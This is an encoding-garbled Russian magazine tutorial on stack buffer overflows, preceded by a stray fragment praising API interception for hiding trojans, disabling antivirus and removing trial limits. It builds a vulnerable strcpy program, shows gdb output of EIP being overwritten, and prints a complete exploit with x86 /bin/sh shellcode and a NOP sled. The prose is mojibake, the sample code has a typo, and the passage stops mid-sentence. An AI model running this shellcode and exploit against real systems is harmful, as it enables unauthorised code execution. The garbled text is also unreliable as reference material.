íñêèõ ïðîãðàììàõ. Íàïðèìåð, ìîæíî
ñîçäàòü íåâèäèìûé ïðîöåññ, ñêðûòü
êàêèå-ëèáî ôàéëû íà äèñêå, ñêðûòü
çàïèñè â ðååñòðå è ñêðûòü ñåòåâûå
ñîåäèíåíèÿ. Ìîæíî ëåãêî îáõîäèòü
ïåðñîíàëüíûå ôàéðâîëû è óíè÷òî-
æàòü àíòèâèðóñû. Ìîæíî ëåãêî
ñêðûòü ïðèñóòñòâèå òðîÿíà â ñèñòåìå
òàê, ÷òî äàæå òùàòåëüíàÿ ïðîâåðêà
êîìïüþòåðà íå äàñò íè÷åãî (ïðàâäà,
ïåðåõâàò ñàì ïî ñåáå ìîæíî îáíàðó-
æèòü ;) � ïðèì. Ëîçîâñêîãî). Ìîæíî
ëåãêî ïîëó÷èòü ïàðîëè íà âõîä â
ñèñòåìó. Ìîæíî íà ýòîé îñíîâå ñíè-
ìàòü trial-îãðàíè÷åíèÿ ñåðèéíî, ñ
ìíîãèõ ïðîãðàìì, èñïîëüçóþùèõ
ñòàíäàðòíûå ñïîñîáû çàùèòû (èõ ïî-
äàâëÿþùåå áîëüøèíñòâî). Ìîæíî
äåëàòü ñ ñèñòåìîé ÷òî óãîäíî - ýòà
òåõíîëîãèÿ îòêðûâàåò âñå äâåðè.

Íî, êàê è ó ëþáîé ìåäàëè, ó ýòèõ
ñïîñîáîâ åñòü îáðàòíàÿ ñòîðîíà. Íà
îñíîâå ýòîé òåõíîëîãèè ìîæíî ñîç-
äàòü ñèñòåìû áåçîïàñíîñòè, ðàçëè÷-
íûå ýìóëÿòîðû è ò.ä. À íîâûé (îòíî-
ñèòåëüíî :)) ïðîäóêò îò Microsoft,
Microsoft Windows AntiSpyware, ñ óäî-
âîëüñòâèåì ïðåñåêàåò äåÿòåëüíîñòü
íà îñíîâå áîëüøèíñòâà ïåðå÷èñëåí-
íûõ ìåòîäîâ. E
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Êíèãà, â êîòîðîé ïðåïàðèðóþò Windows



Àíäðåé Ñåìåíþ÷åíêî (viruslist@gmail.com)

Á åçóñëîâíî, âñå óæå íà÷èòàëèñü áåñêîíå÷íûõ íîâîñòåé î ïîñòîÿííî îáíàðóæèâàåìûõ áðåøàõ â áåçîïàñíîñòè. Íà
ñåãîäíÿøíèé äåíü ñèòóàöèÿ ñêëàäûâàåòñÿ òàêèì îáðàçîì, ÷òî äàæå ëåíèâûé ìîæåò áåç òðóäà âçëîìàòü íóæíûé

åìó ñàéò, ñêà÷àâ è ïðèìåíèâ ñîîòâåòñòâóþùèé ýêñïëîéò. 

ÑÎÊÐÓØÈÒÅËÜÍÀß
ÀÒÀÊÀ
BUFFER OVERFLOW ÍÀ ÑËÓÆÁÅ ÂÇËÎÌÙÈÊÎÂ

àê èçâåñòíî, ýêñïëîéò -
ýòî ïðîãðàììà, êîòîðàÿ
èñïîëüçóåò óÿçâèìîñòü
íåêîòîðîé äðóãîé ïðîã-
ðàììû, ÷òîáû ïðåäîñ-

òàâèòü íåñàíêöèîíèðîâàííûé äîñòóï
çëîóìûøëåííèêà. Óÿçâèìîñòüþ ÷àùå
âñåãî îêàçûâàåòñÿ âîçìîæíîñòüþ ïå-
ðåïîëíåíèÿ áóôåðà, î êîòîðîé è ïîé-
äåò ðå÷ü. Ñêà÷àòü ýêñïëîéòû ïðåäëî-
æàò ìîðå áåñïëàòíûõ ðåñóðñîâ, íàï-
ðèìåð òå æå íîâîñòíûå ñàéòû, ñïåöèà-
ëèçèðóþùèåñÿ íà èíôîðìàöèîííîé
áåçîïàñíîñòè. Íàïðèìåð, security.nnov.ru,
bugtraq.ru, securitylab.ru - ýòî ðóññêîÿçû÷íûå
ðåñóðñû, íà êîòîðûõ ìîæíî íàéòè
ïðàêòè÷åñêè ëþáîå îïèñàíèå îïóáëè-
êîâàííûõ óÿçâèìîñòåé, èíôîðìàöèþ
î ñóùåñòâóþùèõ èñïðàâëåíèÿõ äàí-
íûõ îøèáîê è âîçìîæíîñòè îáíîâëå-
íèÿ íà ñàéòå ðàçðàáîò÷èêà.

ËÎÊÀËÜÍÛÅ È ÓÄÀËÅÍÍÛÅ
ÓßÇÂÈÌÎÑÒÈ

Òåáÿ íèêîãäà íå ââîäèëè â çàá-
ëóæäåíèå ïîíÿòèÿ ëîêàëüíîé è óäà-
ëåííîé óÿçâèìîñòè? Ñåé÷àñ ìû â ýòîì
ðàçáåðåìñÿ. Åñëè êîðîòêî, áëàãîäàðÿ
ëîêàëüíîé óÿçâèìîñòè êàêîé-ëèáî
ïðîãðàììû ëîêàëüíûå çëîóìûøëåí-
íèêè âûçûâàþò ïåðåïîëíåíèå îäíîãî
èç åå âíóòðåííèõ áóôåðîâ, ïîëó÷èâ
âîçìîæíîñòü âûïîëíèòü ïðîèçâîëü-
íûé êîä ñ òåìè ïðàâàìè è ïðèâèëåãèÿ-

ìè, ñ êîòîðûìè çàïóùåíà ñàìà óÿçâè-
ìàÿ ïðîãðàììà. Òàê, íåäàâíî â êîí-
ñîëüíîì äðàéâåðå FreeBSD áûëà îá-
íàðóæåíà ëîêàëüíàÿ óÿçâèìîñòü.

Ýòîò äðàéâåð îáåñïå÷èâàåò äîñòóï ê
âèðòóàëüíûì òåðìèíàëàì. Â ôóíêöèè
CONS_SCRSHOT ioctl(2) îáíàðóæåíà
îøèáêà ðàçáîðà âõîäíûõ äàííûõ, â
ðåçóëüòàòå êîòîðîé (çàäàâ îòðèöà-
òåëüíîå èëè î÷åíü áîëüøîå çíà÷åíèå
òåêóùèõ êîîðäèíàò) ìîæíî ïðèâåñòè
ñèñòåìó â íåñòàáèëüíîå ñîñòîÿíèå. Â
ðåçóëüòàòå ïîëó÷àþò äîñòóï ê âàæíîé
ñèñòåìíîé èíôîðìàöèè ÿäðà (â òîì
÷èñëå, â íåêîòîðûõ ñëó÷àÿõ, ïðî÷åñòü
ââåäåííûå ïàðîëè), à òàêæå ê ïîâû-
øåíèþ ëîêàëüíûõ ïîëíîìî÷èé. Èñ-
ïîëüçîâàòü óÿçâèìîñòü ìîæåò òîëüêî
ïîëüçîâàòåëü, ïîëó÷èâøèé ôèçè÷åñ-
êèé äîñòóï ê ëîêàëüíîé êîíñîëè (ê
ôàéëàì /dev/tty*).

Óäàëåííàÿ óÿçâèìîñòü ïîçâîëÿåò
àòàêóþùåìó óäàëåííî ïðèìåíèòü
ýêñïëîéò ê óÿçâèìîìó ñåòåâîìó ñåð-
âèñó, òåì ñàìûì âûïîëíèâ óäàëåííûé
øåëë-êîä äëÿ ïîëó÷åíèÿ äîñòóïà ê
óäàëåííîé ñèñòåìå. Íàïðèìåð, ÷àñòî
áûâàåò òàê, ÷òî äëèííàÿ ñòðîêà ïåðå-
äàåòñÿ íà óäàëåííûé ñåðâåð, à òîò çà-
âåðøàåò ðàáîòó ñ îøèáêîé ïåðåïîë-
íåíèÿ áóôåðà. Íàïèñàâ ýêñïëîéò, êî-
òîðûé áû ïåðåïîëíÿë áóôåð è èñïîë-
íÿë óäàëåííûé øåëë-êîä ñ ïðàâàìè
çàïóùåííîãî ñåðâåðà, îí ïîëó÷àåò
æåëàííûé äîñòóï ê ñèñòåìå.

Ïîíÿòèÿ ëîêàëüíûõ è óäàëåííûõ
óÿçâèìîñòåé òåñíî ïåðåñåêàþòñÿ ñ îï-
ðåäåëåíèåì øåëë-êîäà. Øåëë-êîä òî-
æå áûâàåò ëîêàëüíûì è óäàëåííûì.
Ëîêàëüíûé øåëë-êîä � ýòî ìàøèííûé
êîä, ïîñëå èñïîëíåíèÿ êîòîðîãî ïðî-
èñõîäèò äîñòóï ê îáîëî÷êå ñèñòåìû (ê
cmd â Windows è ê øåëë-îáîëî÷êå â
*nix-ñèñòåìàõ). Îòëè÷èå óäàëåííîãî
øåëë-êîäà â òîì, ÷òî îí, ïîìèìî âñåãî

ïðî÷åãî, îòêðûâàåò íà óäàëåííîé ìà-
øèíå ïîðò, ïîñëå ïîäêëþ÷åíèÿ íà êî-
òîðûé ïðåäîñòàâëÿåòñÿ êîìàíäíàÿ
ñòðîêà ñ ïðàâàìè äîñòóïà âçëîìàííî-
ãî ñåðâåðà.

ÏÅÐÅÏÎËÍÅÍÈÅ ÁÓÔÅÐÀ
Èòàê, ÷òî æå ýòî çà çâåðü - "ïåðå-

ïîëíåíèå áóôåðà"? Ýòî ïîíÿòèå ïîÿ-
âèëîñü îäíîâðåìåííî ñ àðõèòåêòóðîé
Ôîí Íåéìàíà. Âïåðâûå øèðîêóþ èç-
âåñòíîñòü îíî ïîëó÷èëî â 1988 ãîäó
âìåñòå ñ èíòåðíåò-÷åðâåì Ìóðñà.

Âî ìíîãèõ ÿçûêàõ ïðîãðàììèðîâà-
íèÿ, íàïðèìåð â ðàñïðîñòðàíåííîì Ñ,
íå âûïîëíÿåòñÿ àâòîìàòè÷åñêàÿ ïðî-
âåðêà ãðàíèö â ìàññèâàõ èëè óêàçàòå-
ëÿõ � âîò ýòî è åñòü ïðîáëåìà ïåðå-
ïîëíåíèÿ áóôåðà. Êðîìå òîãî, ñòàíäà-
ðòíàÿ áèáëèîòåêà Ñ ïîëíà î÷åíü
îïàñíûõ ôóíêöèé, ïðèìåðû êîòîðûõ
åñòü íà ñîîòâåòñòâóþùåé âðåçêå.

Ïðè àâòîìàòè÷åñêîì âûäåëåíèè ïà-
ìÿòè äëÿ ïåðåäà÷è àðãóìåíòîâ ïðîöå-
äóðàì è ñîõðàíåíèÿ ëîêàëüíûõ ïåðå-
ìåííûõ èñïîëüçóåòñÿ õðàíèëèùå, íà-
çûâàåìîå ñòåêîì è êîòîðîå ÿâëÿåòñÿ
áóôåðîì òèïà LIFO (ïîñëåäíèì âîøåë -
ïåðâûì âûøåë). Êîãäà ïðîãðàììà âû-
çûâàåò ôóíêöèþ, ñîçäàåòñÿ íîâàÿ
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strcpy(char *dest, const char *src) Ìîæåò ïåðåïîëíèòü öåëåâîé áóôåð

strcat(char *dest, const char *src) Ìîæåò ïåðåïîëíèòü öåëåâîé áóôåð

getwd(char *buf) Ìîæåò ïåðåïîëíèòü áóôåð buf

gets(char *s) Ìîæåò ïåðåïîëíèòü áóôåð s

[vf]scanf(const char *format, ...) Ìîæåò ïåðåïîëíèòü ñâîè àðãóìåíòû

realpath(char *path, char resolved_path[]) Ìîæåò ïåðåïîëíèòü áóôåð path

[v]sprintf(char *str, const char *format, ...) Ìîæåò ïåðåïîëíèòü áóôåð str
Îïàñíûå ôóíêöèè ÿçûêà Ñ



Ïîñêîëüêó
áîëüøèíñòâî
ýêñïëîéòîâ ñî-
äåðæàò
èíñòðóêöèè
NOP â ñâîèõ
ìàññèâàõ, ìíî-
ãèå ñðåäñòâà
îáíàðóæåíèÿ
àòàê ìîãóò
èäåíòèôèöèðî-
âàòü çëîóìûø-
ëåííèêà ïî
ýòèì èíñòðóê-
öèÿì.

"ãðàíèöà ñòåêà", êîòîðàÿ ñîñòîèò èç
àðãóìåíòîâ, ïåðåäàííûõ â ôóíêöèþ, à
òàêæå äèíàìè÷åñêîãî êîëè÷åñòâà
ïðîñòðàíñòâà ëîêàëüíûõ ïåðåìåííûõ.
Ñóùåñòâóåò íåñêîëüêî ðåãèñòðîâ ïðî-
öåññîðà ïî óïðàâëåíèþ ñòåêîì. "Óêà-
çàòåëü ñòåêà" ÿâëÿåòñÿ ðåãèñòðîì,
õðàíÿùèì òåêóùåå ïîëîæåíèå âåð-
øèíû ñòåêà. Ñ ïîìåùåíèåì íîâûõ
çíà÷åíèé ïåðåìåííûõ â ñòåê çíà÷å-
íèå ýòîãî ðåãèñòðà èçìåíÿåòñÿ, ïîýòî-
ìó áûë ðåàëèçîâàí ðåãèñòð "óêàçà-
òåëü ãðàíèöû", êîòîðûé ðàñïîëîæåí
îêîëî íà÷àëà ñòåêà, òàê ÷òî ëîêàëü-
íûå ïåðåìåííûå ìîæíî ëåãêî àäðåñî-
âàòü îòíîñèòåëüíî ýòîãî çíà÷åíèÿ.
Àäðåñ âîçâðàòà èç ôóíêöèè òàêæå
ñîõðàíÿåòñÿ â ñòåêå, ÷òî âûçûâàåò íà-
ðóøåíèå áåçîïàñíîñòè, ñâÿçàííîå ñ
ïåðåïîëíåíèåì ñòåêà, òàê êàê ïåðåçà-
ïèñûâàíèå ëîêàëüíîé ïåðåìåííîé â
ôóíêöèè ìîæåò èçìåíèòü àäðåñ âîçâ-
ðàòà èç ýòîé ôóíêöèè, ïîòåíöèàëüíî
ïîçâîëÿÿ çëîóìûøëåííèêó âûïîë-
íèòü ëþáîé êîä.

ÂÈÄÛ ÏÅÐÅÏÎËÍÅÍÈß 
Óæå áûë ðàññìîòðåí ÷àñòíûé ñëó-

÷àé ïåðåïîëíåíèÿ áóôåðà - ïåðåïîë-
íåíèå ñòåêà, êîòîðîå ìîæåò ïðîèçîé-
òè ïðè àâòîìàòè÷åñêîì âûäåëåíèè ïà-
ìÿòè. Ïåðåïîëíåíèÿ àâòîìàòè÷åñêèõ
áóôåðîâ íàèáîëåå ðàñïðîñòðàíåíû.
Ðàçìåð òàêèõ áóôåðîâ îïðåäåëÿåòñÿ
íà ýòàïå êîìïèëÿöèè. Ïðîöåäóðà ïðî-
âåðêè êîððåêòíîñòè îáðàáàòûâàåìûõ
äàííûõ â ýòîì ñëó÷àå ëîæèòñÿ íà ïëå-
÷è ïðîãðàììèñòîâ, ÷àñòî îòñóòñòâóåò
èëè ðåàëèçîâàíà ñ ãðóáûìè îøèáêà-
ìè. Ïåðåïîëíåíèå ïðîèñõîäèò èç-çà
ïðèñóòñòâèÿ â íåïîñðåäñòâåííîé áëè-
çîñòè îò àâòîìàòè÷åñêèõ áóôåðîâ àä-
ðåñà âîçâðàòà èç ôóíêöèè, ìîäèôè-
êàöèÿ êîòîðîãî ïîçâîëÿåò çëîóìûø-
ëåííèêó îñóùåñòâèòü ïåðåäà÷ó óï-
ðàâëåíèÿ íà ïðîèçâîëüíûé êîä.

Ïðè ñòàòè÷åñêîì âûäåëåíèè ïàìÿòè
ïðîèñõîäèò âûäåëåíèå ïàìÿòè ïîä
äàííûå âíóòðè ñåãìåíòà äàííûõ ïðîã-
ðàììû. Òàêèå äàííûå ñóùåñòâóþò íà
ïðîòÿæåíèè âñåé æèçíè ïðîãðàììû
äî åå çàâåðøåíèÿ. Â ñëó÷àå íåîñòî-
ðîæíîãî îáðàùåíèÿ ïðîãðàììèñò ìî-
æåò ñèëüíî îáëåã÷èòü ðàáîòó õàêåðà,
òàê êàê ïðè äàííîì ïîäõîäå ê âûäåëå-
íèþ ïàìÿòè ýòî åäèíñòâåííûé òèï áó-
ôåðîâ, àäðåñà êîòîðûõ ÿâíî çàäàþò-
ñÿ åùå íà ýòàïå êîìïèëÿöèè. Â ðå-
çóëüòàòå ìîæåò ïðîèçîéòè ïåðåïîë-
íåíèå â ñåêöèè äàííûõ.

Ñóùåñòâóåò òàêæå äèíàìè÷åñêîå âû-
äåëåíèå ïàìÿòè. Âûäåëåíèå ïàìÿòè

ïîä äàííûå ïðîèçâîäèòñÿ ñàìîé ïðîã-
ðàììîé, êîãäà ýòî íåîáõîäèìî. Âðåìÿ
æèçíè òàêèõ äàííûõ çàâèñèò îò ïðîã-
ðàììû. Ðàíüøå ñ÷èòàëîñü, ÷òî ïåðå-
ïîëíåíèÿ ïðè äèíàìè÷åñêîì âûäåëå-
íèè ïàìÿòè ïðîèçîéòè íå ìîæåò èëè,
ìèíèìóì, ýòî ìàëîâåðîÿòíî. Ñ÷èòà-
ëîñü, ÷òî ïðè òàêîì ðàñêëàäå ìàêñè-
ìóì, ÷òî ñâåòèò õàêåðó, � DoS-àòàêà. Â
ýòîì âèíîâàòà õàîòè÷íîñòü ðàñïðåäå-
ëåíèÿ äèíàìè÷åñêèõ áëîêîâ â ïàìÿòè.
Íî êàê ïîêàçàëà ïðàêòèêà, áóôåðà,
ðàñïîëîæåííûå â äèíàìè÷åñêîé ïà-
ìÿòè, òàêæå ïîäâåðæåíû ïåðåïîëíå-
íèþ. Ìíîãèå ïðîãðàììèñòû ñíà÷àëà
âûäåëÿþò áóôåð ôèêñèðîâàííîãî
ðàçìåðà, à çàòåì îïðåäåëÿþò, ñêîëüêî
ïàìÿòè èì ðåàëüíî íåîáõîäèìî, çàáû-
âàÿ îáðàáîòàòü ñèòóàöèþ íåäîñòàòêà
ïàìÿòè. Òàêèì îáðàçîì, çëîóìûøëåí-
íèê ìîæåò îñóùåñòâèòü ïåðåïîëíå-
íèå êó÷è!

ÏÐÀÊÒÈ×ÅÑÊÎÅ ÏÐÈÌÅÍÅÍÈÅ
Äëÿ ïðèîáðåòåíèÿ íàâûêîâ â ïå-

ðåïîëíåíèè áóôåðà íàïèøåì ïðîñ-
òåíüêóþ ïðîãðàììó íà ÿçûêå Ñ è ïîï-
ðîáóåì îñóùåñòâèòü ïåðåïîëíåíèå
ñòåêà ñ ïîìîùüþ ôóíêöèè strcpy().
Ýòî êëàññè÷åñêèé ñëó÷àé, êîòîðûé íó-
æåí ÷òîáû ïîíÿòü ñóòü ïðîöåññà, à
ëþáûå äàëüíåéøèå ìîäåðíèçàöèè
ïðîãðàììû òû ñìîæåøü áåç òðóäà
îñóùåñòâèòü è ñàì. Ïðèìåð áóäåì äå-
ìîíñòðèðîâàòü íà ñòàðîì äîáðîì
Linux Red hat 9, íî âûáîð ñèñòåìû â
äàííîì ñëó÷àå íå ïðèíöèïèàëåí è,
êàê âñåãäà, îñòàåòñÿ çà òîáîé.

Èòàê, ðàññìîòðèì ñëåäóþùèé êîä.

#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[])
{
char fuffer[500];

strcpy(buffer, argv[1]); 
printf(�You have entered: %s\n�,

buffer);
return 0;

} 

Ïåðåä íàìè äî áîëè çíàêîìàÿ ôóíê-
öèÿ main, ñîäåðæàùàÿ äâà âñòðîåí-
íûõ àðãóìåíòà argc è argv. Àðãóìåíò
argv òèïà char - óêàçàòåëü íà ìàññèâ
ñòðîê. Êàæäûé ýëåìåíò ìàññèâà óêà-
çûâàåò íà àðãóìåíòû êîìàíäíîé ñòðî-
êè. Îäèí ïàðàìåòð îòäåëÿåòñÿ îò äðó-
ãîãî ïðîáåëàìè. Ñîîòâåòñòâåííî,
argv[0] - ïîëíîå èìÿ çàïóùåííîé
ïðîãðàììû; argv[1] - ïåðâàÿ ñòðîêà, çà-
ïèñàííàÿ ïîñëå èìåíè ïðîãðàììû.

Ñ ïîìîùüþ ôóíêöèè strcpy(ñòðî-
êà_íàçíà÷åíèÿ, ñòðîêà_îòïðàâëåíèÿ)
ìû çàïîëíÿåì ïåðåìåííóþ buffer çíà-
÷åíèåì ïåðâîãî àðãóìåíòà. Ðåçóëüòàò
âûâåäåì íà ýêðàí ñ ïîìîùüþ ôóíê-
öèè printf().

Ñ âèäó ïðîñòàÿ ïðîãðàììà, êîòîðóþ,
êàçàëîñü áû, òðóäíî çàñòàâèòü âåñòè
ñåáÿ íåêîððåêòíî. Ïîìåñòèì äàííûé
êîä â ôàéë ñ íàçâàíèåì simple_code.c.

Ñêîìïèëèðóåì ïðîãðàììó:

gcc simple_prog.c �o simple

Çàïóñòèì ïðîãðàììó, ïåðåäàâ â êà-
÷åñòâå àðãóìåíòà "Life is perfect".

Íà ñòàíäàðòíûé âûâîä ïîëó÷èì
ñòðîêó

You have entered: Life is perfect

Òåïåðü âîñïîëüçóåìñÿ óñëóãàìè Perl
è ïåðåäàäèì â êà÷åñòâå àðãóìåíòà
çíà÷åíèå áîëüøåå, ÷åì áûëî îòâåäå-
íî äëÿ ïåðåìåííîé buffer, íàïðèìåð
524:

./simple `perl �e �print �X�x524�`

Ðåçóëüòàòîì ïðîãðàììû áóäåò âû-
âîä çàäàííîãî ÷èñëà ñèìâîëà "X" è
ñîîáùåíèÿ "Segmentation fault". Ýòî
çíà÷èò, ÷òî ïðîãðàììà çàâåðøèëàñü ñ
îøèáêîé, òàê êàê ìû ââåëè ÷èñëî, çà-
âåäîìî ïðåâûøàþùåå ðàçìåð ïåðå-
ìåííîé buffer. Íà ñàìîì äåëå ÷èñëî
524 ÿ âçÿë íå ñëó÷àéíî: ýòî ÷èñëî,
ïðè êîòîðîì ñòåê çàòèðàåòñÿ ïîë-
íîñòüþ, à åñëè âçÿòü ëþáîå ìåíüøåå
÷èñëî, íàïðèìåð 523, ïðîãðàììà çà-
âåðøèòñÿ êîððåêòíî.

ÎÒËÀÄ×ÈÊ ÂÑÅÌÓ ÃÎËÎÂÀ
Èòàê, ïåðåïîëíåíèå áóôåðà (â

äàííîì ñëó÷àå ñòåêà) ñâåðøèëîñü. Íî
êàê èñïîëüçîâàòü óÿçâèìîñòü ïðîã-
ðàììû â ñâîèõ êîðûñòíûõ öåëÿõ? Äëÿ
ëó÷øåãî ïîíèìàíèÿ âîñïîëüçóåìñÿ
ïîïóëÿðíûì îòëàä÷èêîì gdb.

gdb ./simple
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Ïèøåì ïðîãðàììó, ñîäåðæàùóþ óÿçâèìîñòü

Òåñòèðóåì ïðîãðàììó simple íà óÿçâèìîñòü
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Äàííàÿ êîìàíäà ïîçâîëÿåò âîéòè â
èíòåðàêòèâíûé ðåæèì îòëàä÷èêà. Òå-
ïåðü çàïóñòèì ïðîãðàììó ./simple ñ
íåîáõîäèìûìè ïàðàìåòðàìè:

r ̀ perl �e �print �X�x524�̀
Ïîëó÷èì ñîîáùåíèå âèäà: Program

received signal SIGSEGV, Segmentation fault.
Íà ñëåäóþùåì øàãå ðàññìîòðèì ñî-

äåðæàíèå ðåãèñòðîâ ïðîöåññîðà, ââå-
äÿ i r:

eax 0x0 0
ecx 0x4212ee20 1108536864
edx 0x11f 287
ebx 0x42130a14 1108544020
esp 0xbfffdf00 0xbfffdf00
ebp 0x58585858 0x58585858
esi 0x40015360 1073828704
edi 0x80483d9 134513625
eip 0x42015501 0x42015501
eflags 0x10202 66050
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x33 51

Â äàííîì ñëó÷àå íàñ èíòåðåñóåò çíà-
÷åíèå ðåãèñòðîâ ebp è eip. 

Ðåãèñòð EBP - ýòî ðåãèñòð, êîòîðûé
óêàçûâàåò íà òåêóùèé ôðåéì ñòåêà. Ñ
åãî ïîìîùüþ ìû ìîæåì îáðàùàòüñÿ ê
äàííûì â ñòåêå. 

Ðåãèñòð EIP ñîäåðæèò ñìåùåíèå ñëå-
äóþùåé êîìàíäû, êîòîðóþ íóæíî âû-
ïîëíèòü.

Çíà÷åíèå ebp, êàê òû âèäèøü, ïîë-
íîñòüþ çàòåðòî ñèìâîëîì "X" (0x58 â
øåñòíàäöàòåðè÷íîì ôîðìàòå). Â eip,
íàïðîòèâ, ñîäåðæèòñÿ êàêîé-òî ìóñîð.
Äëÿ òîãî ÷òîáû ïåðåòåðåòü è ýòîò ðå-
ãèñòð, ïåðåãðóæàåì íàø áóôåð åùå
íà ÷åòûðå ñèìâîëà:

r `perl �e �print �X�x524�`ZZZZ

Ñðåäè ïðî÷èõ ïîëó÷åíî ñëåäóþùåå
çíà÷åíèå ðåãèñòðà eip:

eip 0x5a5a5a5a 0x5a5a5a5a

Ýòî îçíà÷àåò, ÷òî eip ñåé÷àñ çàïîë-
íåí ñèìâîëàìè "Z" â øåñòíàäöàòåðè÷-
íîì ôîðìàòå. Îñíîâíàÿ æå öåëü - çà-
ïîëíèòü ýòîò ðåãèñòð àäðåñîì øåëë-
êîäà, êîòîðûé ìû õîòèì âûïîëíèòü, è

òîãäà ïðîãðàììà íå áóäåò âûâàëè-
âàòüñÿ â Segmentation fault, à â êà÷å-
ñòâå ñëåäóþùåé êîìàíäû âûïîëíèò
íàø øåëë-êîä.

ÏÈØÅÌ ÝÊÑÏËÎÉÒ
Íó âîò, â ðåãèñòðàõ ðàçîáðàëèñü,

êàê äåéñòâîâàòü, ïîíÿëè, îñòàåòñÿ
òîëüêî íàïèñàòü ñîîòâåòñòâóþùèé
ýêñïëîéò. Ïîñìîòðèì íà êîä âî âðåçêå.

Ýòî äîâîëüíî íåñëîæíûé êîä. Çäåñü
ìû ñíà÷àëà îïðåäåëÿåì ðàçìåð óÿçâè-
ìîãî áóôåðà è ðåçåðâèðóåì 100 áàéò
ïîä ñîáñòâåííûå íóæäû. Â ïåðåìåí-

íóþ linuxshell çàïèñûâàåì îäèí ïîïó-
ëÿðíûé øåëë-êîä äëÿ åãî äàëüíåéøå-
ãî âûïîëíåíèÿ. Âîîáùå ãîâîðÿ, ñóùå-
ñòâóåò îãðîìíîå ðàçíîîáðàçèå øåëë-
êîäîâ, ìíîãèå èç êîòîðûõ ìîæíî áåç
òðóäà áåñïëàòíî ñêà÷àòü è èñïîëüçî-
âàòü ïî ïðÿìîìó íàçíà÷åíèþ :). Äàëåå
ñëåäóåò ôóíêöèÿ sp(), ñîäåðæàùàÿ àñ-
ñåìáëåðíóþ âñòàâêó, êîòîðàÿ â ñâîþ
î÷åðåäü êîïèðóåò çíà÷åíèå óêàçàòåëÿ
ñòåêà â ïåðåìåííóþ, âîçâðàùàåìóþ
ýòîé ôóíêöèåé. Êàê òû ïîìíèøü, ýòî
îäèí èç îñíîâíûõ ìîìåíòîâ. 
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Ðàáîòàåì ñ îòëàä÷èêîì

ÑÎÊÐÓØÈÒÅËÜÍÀß ÀÒÀÊÀ12 ÎÑ

Äëÿ ÿäðà Linux
ñóùåñòâóþò
ïàò÷è (PaX è
ExecShield), ïðå-
ïÿòñòâóþùèå
âûïîëíåíèþ
áîëüøèíñòâà
ýêñïëîéòîâ.

#define BUFFERSIZE 600 /* Óÿçâèìûé áóôåð + 100 áàéò */

/* linux x86 shellcode */
char lunixshell[] = "\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89

\x46\x0c\x89\x76\x08\xb0"
"\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c

\xcd\x80\x29\xc0\x40\xcd"
"\x80\xe8\xde\xff\xff\xff/bin/sh";

unsigned long sp(void)
{

__asm__("movl %esp, %eax");
}

int main(int argc, char *argv[])
{

int i;
int offset=0;

long esp, ret, *addr_ptr;
char *buffer, *ptr, *osptr;

esp = sp();
/* ïîëó÷èëè óêàçàòåëü íà ñòåê */

ret = esp-offset;
/* ïîëó÷èëè àäðåñ âîçâðàòà */

/* âûäåëÿåì ïàìÿòü äëÿ áóôåðà */
if(!(buffer = malloc(BUFFERSIZE))) {

printf("Couldn't allocate memory.\n");
exit(-1);

}

/* çàïîëíÿåì áóôåð àäðåñîì âîçâðàòà */
ptr = buffer;
addr_ptr = (long *)ptr;

for(i=0; i<BUFFERSIZE; i+=4)
*(addr_ptr++) = ret;

/* çàïîëíÿåì ïåðâóþ ïîëîâèíó áóôåðà èíñòðóêöèåé NOP */
for(i=0; i<BUFFERSIZE/2; i++)

buffer[i] = '\x90';

/* âñòàâëÿåì øåëë-êîä íà÷èíàÿ ñ ñåðåäèíû áóôåðà */
ptr = buffer + ((BUFFERSIZE/2) - (strlen

(lunixshell)/2));
for(i=0; i<strlen(lunixshell); i++)

*(ptr++) = lunixshell[i];

/* âûçûâàåì óÿçâèìóþ ïðîãðàììó ñ íàøåì áóôåðîì â êà÷åñòâå àðãóìåíòà*/

buffer[BUFFERSIZE-1] = 0;
execl("./simple", "simple", buffer, 0);

return 0;
}



Èñïîëüçîâàíèå
IDS (Intrusion
Detection
Software) ïîç-
âîëÿåò îïðåäå-
ëèòü è áëîêè-
ðîâàòü ïîïûò-
êè èñïîëüçî-
âàòü ïåðåïîë-
íåíèå áóôåðà.

Èíîãäà çëîó-
ìûøëåííèê
ìîæåò èñïîëü-
çîâàòü íåñ-
êîëüêî
ýêñïëîéòîâ.
Ïåðâûé äëÿ
ïîëó÷åíèÿ íèç-
êîóðîâíåâûõ
ïðèâèëåãèé íà
ìàøèíå-æåðòâå,
ïîñëåäóþùèé �
äëÿ äîñòèæåíèÿ
ðóòîâûõ ïðèâè-
ëåãèé.

Ïðèìåðîì ïå-
ðåïîëíåíèÿ êó-
÷è ìîæåò ñëó-
æèòü óÿçâè-
ìîñòü â
Microsoft JPEG
GDI+, îïèñàí-
íàÿ â áþëëåòå-
íå ïî áåçîïàñ-
íîñòè MS04-
028.

Âîò ìû è äîáðàëèñü äî ôóíêöèè
main(), â ðàìêàõ êîòîðîé ïîëó÷àåì
óêàçàòåëü íà ñòåê è àäðåñ âîçâðàòà (â
äàííîì ñëó÷àå îíè áóäóò èäåíòè÷íû-
ìè ïðè íóëåâîì ñìåùåíèè), çàòåì âû-
äåëÿåì ïàìÿòü äëÿ íàøåãî áóôåðà,
çàïîëíÿåì áóôåð àäðåñîì âîçâðàòà è
çàïîëíÿåì ïåðâóþ ïîëîâèíó áóôåðà
èíñòðóêöèåé NOP. NOP � ýòî èíñòðóê-
öèÿ \x90 â øåñòíàäöàòåðè÷íîì ôîð-
ìàòå, êîòîðàÿ íè÷åãî íå äåëàåò, òîëü-
êî ïåðåäàåò óïðàâëåíèå ñëåäóþùåé
èíñòðóêöèè. Èíîãäà NOP èñïîëüçóåò-
ñÿ äëÿ ñîçäàíèÿ çàäåðæåê.

Íåáîëüøîå îòñòóïëåíèå, ÷òîáû ïî-
íÿòü ñìûñë èñïîëüçîâàíèÿ NOP.
Ïðîáëåìà, ñ êîòîðîé ìû ñòîëêíóëèñü, -
âûÿñíåíèå àäðåñà ðàñïîëîæåíèÿ
øåëë-êîäà, êîòîðûé îí ïîëó÷èò, êîãäà
ñòðîêà ïåðåïîëíåíèÿ áóôåðà áóäåò
ïîìåùåíà â ñòåê. Íà ïîìîùü ïðèäåò
òî, ÷òî íà÷àëüíûé àäðåñ ñòåêà íå ìå-
íÿåòñÿ ïðè çàïóñêå êàæäîãî íîâîãî
ïðèëîæåíèÿ. Ïîýòîìó, çíàÿ, ãäå îí íà-
